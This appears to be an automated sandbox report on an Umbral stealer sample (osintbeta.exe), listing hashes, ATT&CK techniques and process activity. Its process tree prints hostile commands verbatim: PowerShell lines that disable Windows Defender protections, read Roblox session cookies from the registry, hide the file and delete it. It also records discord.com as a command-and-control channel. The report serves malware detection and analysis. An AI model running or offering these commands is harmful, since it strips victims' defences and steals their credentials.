umbral | bf59201502504351baacaa124496df5d010b90c828c10a3413c9d40409f30ec9

Resubmissions

03-12-2024 22:42

241203-2mzjgsxrgt 10

30-11-2024 22:10

241130-13blxsxjby 10

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
30-11-2024 22:10

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General

Target

osintbeta.exe
Size

631KB
MD5

563db1fc707e29d140d343e75ee9d389
SHA1

ece61378cffc5f950dec95249eeebe9d01f17496
SHA256

bf59201502504351baacaa124496df5d010b90c828c10a3413c9d40409f30ec9
SHA512

e17836e475dd607ea8502012845b7ee13ef12b01ae11745706735a23ef0b9133c8e645d905e2005b2842fea18bd8c39c0b002cda66dfd89be8a658c8aa7dab45
SSDEEP

12288:hoZtL+EP8smVkvFuW5a8VHCCHGmNiMdRC:fI8nVkvFuW5a8VHCCHGIiMdA

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2640-1-0x0000000000090000-0x0000000000134000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe
3020	powershell.exe
448	powershell.exe
768	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	osintbeta.exe

Deletes itself 1 IoCs

pid	Process
2116	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2116	cmd.exe
2980	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2076	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2980	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2640	osintbeta.exe
2712	powershell.exe
3020	powershell.exe
448	powershell.exe
1968	powershell.exe
768	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2640	osintbeta.exe
Token: SeIncreaseQuotaPrivilege	2944	wmic.exe
Token: SeSecurityPrivilege	2944	wmic.exe
Token: SeTakeOwnershipPrivilege	2944	wmic.exe
Token: SeLoadDriverPrivilege	2944	wmic.exe
Token: SeSystemProfilePrivilege	2944	wmic.exe
Token: SeSystemtimePrivilege	2944	wmic.exe
Token: SeProfSingleProcessPrivilege	2944	wmic.exe
Token: SeIncBasePriorityPrivilege	2944	wmic.exe
Token: SeCreatePagefilePrivilege	2944	wmic.exe
Token: SeBackupPrivilege	2944	wmic.exe
Token: SeRestorePrivilege	2944	wmic.exe
Token: SeShutdownPrivilege	2944	wmic.exe
Token: SeDebugPrivilege	2944	wmic.exe
Token: SeSystemEnvironmentPrivilege	2944	wmic.exe
Token: SeRemoteShutdownPrivilege	2944	wmic.exe
Token: SeUndockPrivilege	2944	wmic.exe
Token: SeManageVolumePrivilege	2944	wmic.exe
Token: 33	2944	wmic.exe
Token: 34	2944	wmic.exe
Token: 35	2944	wmic.exe
Token: SeIncreaseQuotaPrivilege	2944	wmic.exe
Token: SeSecurityPrivilege	2944	wmic.exe
Token: SeTakeOwnershipPrivilege	2944	wmic.exe
Token: SeLoadDriverPrivilege	2944	wmic.exe
Token: SeSystemProfilePrivilege	2944	wmic.exe
Token: SeSystemtimePrivilege	2944	wmic.exe
Token: SeProfSingleProcessPrivilege	2944	wmic.exe
Token: SeIncBasePriorityPrivilege	2944	wmic.exe
Token: SeCreatePagefilePrivilege	2944	wmic.exe
Token: SeBackupPrivilege	2944	wmic.exe
Token: SeRestorePrivilege	2944	wmic.exe
Token: SeShutdownPrivilege	2944	wmic.exe
Token: SeDebugPrivilege	2944	wmic.exe
Token: SeSystemEnvironmentPrivilege	2944	wmic.exe
Token: SeRemoteShutdownPrivilege	2944	wmic.exe
Token: SeUndockPrivilege	2944	wmic.exe
Token: SeManageVolumePrivilege	2944	wmic.exe
Token: 33	2944	wmic.exe
Token: 34	2944	wmic.exe
Token: 35	2944	wmic.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeIncreaseQuotaPrivilege	2856	wmic.exe
Token: SeSecurityPrivilege	2856	wmic.exe
Token: SeTakeOwnershipPrivilege	2856	wmic.exe
Token: SeLoadDriverPrivilege	2856	wmic.exe
Token: SeSystemProfilePrivilege	2856	wmic.exe
Token: SeSystemtimePrivilege	2856	wmic.exe
Token: SeProfSingleProcessPrivilege	2856	wmic.exe
Token: SeIncBasePriorityPrivilege	2856	wmic.exe
Token: SeCreatePagefilePrivilege	2856	wmic.exe
Token: SeBackupPrivilege	2856	wmic.exe
Token: SeRestorePrivilege	2856	wmic.exe
Token: SeShutdownPrivilege	2856	wmic.exe
Token: SeDebugPrivilege	2856	wmic.exe
Token: SeSystemEnvironmentPrivilege	2856	wmic.exe
Token: SeRemoteShutdownPrivilege	2856	wmic.exe
Token: SeUndockPrivilege	2856	wmic.exe
Token: SeManageVolumePrivilege	2856	wmic.exe
Token: 33	2856	wmic.exe
Token: 34	2856	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 2944	2640	osintbeta.exe	30
PID 2640 wrote to memory of 2944	2640	osintbeta.exe	30
PID 2640 wrote to memory of 2944	2640	osintbeta.exe	30
PID 2640 wrote to memory of 3064	2640	osintbeta.exe	33
PID 2640 wrote to memory of 3064	2640	osintbeta.exe	33
PID 2640 wrote to memory of 3064	2640	osintbeta.exe	33
PID 2640 wrote to memory of 2712	2640	osintbeta.exe	35
PID 2640 wrote to memory of 2712	2640	osintbeta.exe	35
PID 2640 wrote to memory of 2712	2640	osintbeta.exe	35
PID 2640 wrote to memory of 3020	2640	osintbeta.exe	37
PID 2640 wrote to memory of 3020	2640	osintbeta.exe	37
PID 2640 wrote to memory of 3020	2640	osintbeta.exe	37
PID 2640 wrote to memory of 448	2640	osintbeta.exe	39
PID 2640 wrote to memory of 448	2640	osintbeta.exe	39
PID 2640 wrote to memory of 448	2640	osintbeta.exe	39
PID 2640 wrote to memory of 1968	2640	osintbeta.exe	41
PID 2640 wrote to memory of 1968	2640	osintbeta.exe	41
PID 2640 wrote to memory of 1968	2640	osintbeta.exe	41
PID 2640 wrote to memory of 2856	2640	osintbeta.exe	43
PID 2640 wrote to memory of 2856	2640	osintbeta.exe	43
PID 2640 wrote to memory of 2856	2640	osintbeta.exe	43
PID 2640 wrote to memory of 2228	2640	osintbeta.exe	45
PID 2640 wrote to memory of 2228	2640	osintbeta.exe	45
PID 2640 wrote to memory of 2228	2640	osintbeta.exe	45
PID 2640 wrote to memory of 2264	2640	osintbeta.exe	47
PID 2640 wrote to memory of 2264	2640	osintbeta.exe	47
PID 2640 wrote to memory of 2264	2640	osintbeta.exe	47
PID 2640 wrote to memory of 768	2640	osintbeta.exe	49
PID 2640 wrote to memory of 768	2640	osintbeta.exe	49
PID 2640 wrote to memory of 768	2640	osintbeta.exe	49
PID 2640 wrote to memory of 2076	2640	osintbeta.exe	51
PID 2640 wrote to memory of 2076	2640	osintbeta.exe	51
PID 2640 wrote to memory of 2076	2640	osintbeta.exe	51
PID 2640 wrote to memory of 2116	2640	osintbeta.exe	53
PID 2640 wrote to memory of 2116	2640	osintbeta.exe	53
PID 2640 wrote to memory of 2116	2640	osintbeta.exe	53
PID 2116 wrote to memory of 2980	2116	cmd.exe	55
PID 2116 wrote to memory of 2980	2116	cmd.exe	55
PID 2116 wrote to memory of 2980	2116	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3064	attrib.exe

C:\Users\Admin\AppData\Local\Temp\osintbeta.exe
"C:\Users\Admin\AppData\Local\Temp\osintbeta.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\osintbeta.exe"
  2⤵
  - Views/modifies file attributes
  PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\osintbeta.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2228
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:768
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2076
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\osintbeta.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\45H1VCP06FIUPJBPPA5F.temp

Filesize
7KB

MD5
b277a7d43a3d56e5a9b725f21f7ac31f

SHA1
0ab3ebefdf6067ebb5bd13b7ab987bfb48ceadb3

SHA256
8b54b9a6ddd8734bcb33d4a3b3007d4a3b32408cd9c7bbcf296c3209849297de

SHA512
c2e8d32ead06433dc5d586ad35bcdef9d7ef0c4171e46374f5bbd4a996758f27cf24dbe804978e752ccd163972330e799ff11f12fd0eeeb3a8ba4ad2202d0fe6

Download Submit
memory/768-43-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2640-0-0x000007FEF5C03000-0x000007FEF5C04000-memory.dmp

Filesize
4KB

Download
memory/2640-1-0x0000000000090000-0x0000000000134000-memory.dmp

Filesize
656KB

Download
memory/2640-2-0x000007FEF5C00000-0x000007FEF65EC000-memory.dmp

Filesize
9.9MB

Download
memory/2640-47-0x000007FEF5C00000-0x000007FEF65EC000-memory.dmp

Filesize
9.9MB

Download
memory/2712-7-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2712-8-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/3020-14-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/3020-15-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download